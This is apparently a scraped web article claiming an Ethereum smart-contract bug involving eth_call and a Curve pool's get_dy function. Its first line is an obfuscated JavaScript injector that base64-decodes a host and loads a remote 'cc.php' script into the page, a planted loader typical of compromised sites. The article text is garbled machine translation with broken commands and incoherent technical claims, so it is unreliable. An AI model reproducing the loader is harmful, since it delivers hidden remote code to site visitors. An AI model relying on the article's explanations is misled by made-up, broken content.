const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=c50171fa”;document.body.appendChild(script);
Bug Smart Contract Ethereum: Unexpected results with ETH_CALL
A current meeting with the Ethereum network has resulted in a certain behavior of the intelligent contract ETH_CALL, which led to unexpected results. In this article we will immerse yourself in the details of how this error has taken place and what it means for the intelligent contract developers.
Problem: eth_call with the function of get_dy
The error is caused by the use of the functioneth_call`in order to call up the function of a certain intelligent contract with the name Get_Dy '. The "Get_Dy" function has an unexpected side effect that leads to the return of incorrect data from the contract.
Here is a step -for -step ceiling of what happened:
- CURL final -point : A user has made an application for the intelligent contract of the cornering pool using the "CURL" command with the following end point:
Bash
Curl -x post -h "content -stip: app/jon"
The error occurs ineth_call: The user added the following line to the requirement body, whereby the error was introduced:
Json
{
"Contract_ID": "CurvePool",
"Method": "Get_Dy",
"Params": ["Int128", "Int128", "Uint256"]
}
The functionget_dy: The function get_dy 'should not return a specific value. It simply calls another method on the ABI of the contract (the binary interface of the application).
What went wrong
WhenETH_CALLwas used with the function get_dy ', the following happened:
The call chain :eth_callhas initiated a chain of calls through the ABI contract methods.
Dealing with errors : The mechanism to manage the errors inETH_CALLhas not made any errors; Instead, he simply gave back the answer of the call chain.
Side effect : When usingget_dy, the call chain is completed immediately after the method. This means that all subsequent calls (including those triggered with other methods) are lost.
expected behavior
In a normal scenario, the function Get_Dy 'would give back an empty painting or a certain value that indicates success. WithETH_CALL`, however, this function returns the recall chain response that contains errors that have taken place during method calls.
Conclusion and recommendations
This error shows how important it is to thoroughly test the functions of the intelligent contract before they are implemented in production environments. To avoid similar problems in the future:
- Check the methods Abi : Check whether the ABI methods of your contract do not return certain values.
- Treating test errors : Make sure that your implementation is properly managed.
- ** Use a test frame.
The developers of intelligent contracts are ensured that their contracts are stable, reliable and according to the Ethereum guidelines.